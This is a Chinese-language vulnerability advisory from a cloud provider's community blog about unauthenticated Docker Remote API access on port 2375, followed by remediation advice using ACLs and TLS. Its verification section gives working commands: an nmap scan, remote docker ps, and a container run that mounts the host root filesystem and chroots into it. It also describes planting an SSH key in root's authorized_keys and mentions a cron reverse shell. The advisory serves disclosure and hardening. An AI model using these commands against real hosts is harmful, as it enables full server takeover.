前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >【漏洞修复】Docker remote api未授权访问复现和修复

【漏洞修复】Docker remote api未授权访问复现和修复

原创
作者头像
腾讯云-MSS服务
发布2020-11-09 11:11:49
6.9K0
发布2020-11-09 11:11:49
举报
文章被收录于专栏:安全加固安全加固

0x01漏洞描述

Docker是一个开源的应用容器引擎,让开发者可以打包他们的应用以及依赖包到一个可移植的容器中,然后发布到任何流行的LINUX机器上,也可以实现虚拟化。Docker swarm 是一个将docker集群变成单一虚拟的docker host工具,使用标准的Docker API,能够方便docker集群的管理和扩展,由docker官方提供。

在使用docker swarm的时候,管理的docker 节点上会开放一个TCP端口2375,绑定在0.0.0.0上,http访问会返回 404 page not found ,其实这是 Docker Remote API,可以执行docker命令,比如访问 http://host:2375/containers/json 会返回服务器当前运行的 container列表,和在docker CLI上执行 docker ps的效果一样,其他操作比如创建/删除container,拉取image等操作也都可以通过API调用完成,

0x02 漏洞危害

Docker daemon api是使用url代替命令行来操作docker,docker swarm 是docker下的集群管理工具,在开放2375端口来监听集群容器时,会调用这个api,可以执行docker命令,root权限启动docker情况下可直接可以控制服务器。

0x03 漏洞验证

1、nmap探测开放的docker

代码语言:javascript
复制
nmap -p 2375 x.x.x.x 

2、使用-H参数连接目标主机的docker,使用ps命令查询目标系统运行的镜像。

代码语言:javascript
复制
docker -H tcp://x.x.x.x:2375 ps

3、使用docker命令创建一个busybox容器,并将宿主机的磁盘挂载到容器中。

代码语言:javascript
复制
docker -H tcp://1x.x.x.x:2375 run -it -v /:/mnt busybox chroot /mnt sh

4、在vps上生成公钥,并将其写入到目标机器宿主机的/root/.ssh/authorized_keys文件中,即可直接免密登录目标机器

其他方式:利用定时任务反弹shell

0x04 修复建议

1、简单粗暴的方法,对2375端口做网络访问控制,如ACL控制,或者访问规则;

2、修改docker swarm的认证方式,使用TLS认证:Overview Swarm with TLS 和 Configure Docker Swarm for TLS这两篇文档,说的是配置好TLS后,Docker CLI 在发送命令到docker daemon之前,会首先发送它的证书,如果证书是由daemon信任的CA所签名的,才可以继续执行。

原创声明:本文系作者授权腾讯云开发者社区发表,未经许可,不得转载。

如有侵权,请联系 cloudcommunity@tencent.com 删除。

原创声明:本文系作者授权腾讯云开发者社区发表,未经许可,不得转载。

如有侵权,请联系 cloudcommunity@tencent.com 删除。

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 0x01漏洞描述
  • 0x02 漏洞危害
  • 0x03 漏洞验证
    • 1、nmap探测开放的docker
      • 2、使用-H参数连接目标主机的docker,使用ps命令查询目标系统运行的镜像。
        • 3、使用docker命令创建一个busybox容器,并将宿主机的磁盘挂载到容器中。
          • 4、在vps上生成公钥,并将其写入到目标机器宿主机的/root/.ssh/authorized_keys文件中,即可直接免密登录目标机器
            • 其他方式:利用定时任务反弹shell
        • 0x04 修复建议
        相关产品与服务
        容器镜像服务
        容器镜像服务(Tencent Container Registry,TCR)为您提供安全独享、高性能的容器镜像托管分发服务。您可同时在全球多个地域创建独享实例,以实现容器镜像的就近拉取,降低拉取时间,节约带宽成本。TCR 提供细颗粒度的权限管理及访问控制,保障您的数据安全。
        领券
        问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档
        http://www.vxiaotou.com